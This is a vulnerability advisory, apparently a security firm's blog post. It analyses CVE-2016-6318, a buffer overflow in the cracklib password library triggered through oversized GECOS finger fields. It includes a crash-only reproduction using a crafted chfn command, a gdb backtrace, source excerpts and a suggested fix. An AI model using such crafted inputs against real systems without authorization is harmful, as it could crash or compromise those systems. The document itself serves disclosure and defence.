Analysis of CVE-2016-6318
Introduction
CSG Labs recently discovered and privately reported to vendors a zero day vulnerability within cracklib, an open source library used by many different Linux distributions to prevent the selection of easy to guess passwords. This vulnerability itself was present in the source base for quite a long time and demonstrates the need for understanding secure source code auditing, vulnerability analysis and conducting application threat models.
Technical Details
A buffer overflow vulnerability has been discovered in the cracklib password checking library.
By max’ing out the GECOS finger information fields we are able to overflow the cracklib password
checking library. This has large implications to any/all programs that rely on this library
as demonstrated by our proof-of-concept which generates a stack overflow in the passwd (root) utility.
The security risk of the buffer overflow vulnerability is dependent on the version of Linux. On RedHat 7 this issue is low though may be higher depending on the application and whether glibc or the application has been compiled with FORTIFY_SOURCE (see below).
Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of this vulnerability may result in complete system compromise.
Steps to reproduce:
[user@localhost Documents]$ uname -a Linux localhost.localdomain 3.10.0-327.28.2.el7.x86_64 #1 SMP Mon Jun 27 14:48:28 EDT 2016 x86_64 x86_64 x86_64 GNU/Linux [user@localhost Documents]$ chfn -f `perl -e 'print "A"x256'` -o `perl -e 'print "B"x256'` -p `perl -e 'print "C"x256'` -h `perl -e 'print "D"x256'` Changing finger information for user. Password: Finger information changed. [user@localhost Documents]$ passwd Changing password for user user. Changing password for user. (current) UNIX password: New password: *** buffer overflow detected ***: passwd terminated |
The root cause of the security issue is an unbounded strcpy. We can find the exact problem by examining the call chain.
[user@localhost Documents]$ gdb passwd GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-80.el7 Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-redhat-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/bin/passwd...Reading symbols from /usr/lib/debug/usr/bin/passwd.debug...done. done. (gdb) r Starting program: /usr/bin/passwd [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Changing password for user user. Detaching after fork from child process 35561. Changing password for user. (current) UNIX password: Detaching after fork from child process 35564. Detaching after fork from child process 35565. New password: *** buffer overflow detected ***: /usr/bin/passwd terminated ======= Backtrace: ========= ... Program received signal SIGABRT, Aborted. 0x00007f70172315f7 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 return INLINE_SYSCALL (tgkill, 3, pid, selftid, sig); (gdb) bt #0 0x00007f70172315f7 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007f7017232ce8 in __GI_abort () at abort.c:90 #2 0x00007f7017271327 in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7f701737a154 "*** %s ***: %s terminated\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:196 #3 0x00007f701730a597 in __GI___fortify_fail (msg=msg@entry=0x7f701737a0fa "buffer overflow detected") at fortify_fail.c:31 #4 0x00007f7017308750 in __GI___chk_fail () at chk_fail.c:28 #5 0x00007f700d77dc5c in strcpy (__src=0x7ffdbd253060 'a' ..., __dest=0x7ffdbd252c00 'a' ...) at /usr/include/bits/string3.h:104 #6 Mangle (input=input@entry=0x7ffdbd2560d0 'a' ..., control=, area=area@entry=0x7ffdbd253060 'a' ...) at rules.c:444 #7 0x00007f700d77bd7b in GTry (rawtext=rawtext@entry=0x7ffdbd2560d0 'a' ..., password=password@entry=0x7ffdbd256de0 "AAAAAAAA") at fascist.c:483 #8 0x00007f700d77c11a in FascistGecosUser (password=password@entry=0x7ffdbd256de0 "AAAAAAAA", user=, gecos=) at fascist.c:602 #9 0x00007f700d77c289 in FascistGecos (password=password@entry=0x7ffdbd256de0 "AAAAAAAA", uid=1000) at fascist.c:690 #10 0x00007f700d77c76d in FascistLookUser (pwp=pwp@entry=0x7f701ae2d6b0, instring=instring@entry=0x7ffdbd257630 "AAAAAAAA", user=user@entry=0x0, gecos=gecos@entry=0x0) at fascist.c:790 #11 0x00007f700d77c817 in FascistCheckUser (password=password@entry=0x7f701ae2d690 "AAAAAAAA", path=, user=user@entry=0x0, gecos=gecos@entry=0x0) at fascist.c:897 #12 0x00007f700d77c879 in FascistCheck (password=password@entry=0x7f701ae2d690 "AAAAAAAA", path=) at fascist.c:910 #13 0x00007f700d984f20 in pwquality_check (pwq=0x7f701ae2d590, password=0x7f701ae2d690 "AAAAAAAA", oldpassword=, user=0x7f701ae143c0 "user", auxerror=auxerror@entry=0x7ffdbd257c60) at check.c:672 #14 0x00007f700db8a4b6 in pam_sm_chauthtok (pamh=0x7f701ae14220, flags=8192, argc=, argv=) at pam_pwquality.c:232 #15 0x00007f7017e2cf6a in _pam_dispatch_aux (use_cached_chain=, resumed=, h=, flags=8192, pamh=0x7f701ae14220) at pam_dispatch.c:110 #16 _pam_dispatch (pamh=pamh@entry=0x7f701ae14220, flags=flags@entry=8192, choice=choice@entry=6) at pam_dispatch.c:426 #17 0x00007f7017e31728 in pam_chauthtok (pamh=0x7f701ae14220, flags=0) at pam_password.c:46 #18 0x00007f7018c0fbf7 in main (argc=, argv=) at passwd.c:537 |
The call chain starts with this Mangle() call on line 483 in the file “fascist.c”:
(gdb) list fascist.c:473 453 continue; ... 480 481 for (i = 0; r_constructors[i]; i++) 482 { 483 if (!(mp = Mangle(rawtext, r_constructors[i], area))) |
and the crash happens on line 444 of file “rules.c”:
(gdb) list rules.c:430 410 } 411 /* -------- BACK TO NORMALITY -------- */ ... 430 char * 431 Mangle(input, control, area) /* returns a pointer to a controlled Mangle */ 432 char *input; 433 char *control; 434 char *area; 435 { 436 int limit; 437 register char *ptr; 438 char area2[STRINGSIZE]; 439 area[0] = '\0'; 440 strcpy(area, input); 441 442 for (ptr = control; *ptr; ptr++) 443 { 444 strcpy(area2, area); |
An examination of the call chain illustrates the lack of checks from the environment of the application leading to the security vulnerability:
The fix here is to validate the Mangle() strcpy calls to ensure there is enough space for the copy.
References
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-6318
http://seclists.org/oss-sec/2016/q3/290
https://security-tracker.debian.org/tracker/CVE-2016-6318
http://www.securityfocus.com/bid/92478
Recent Comments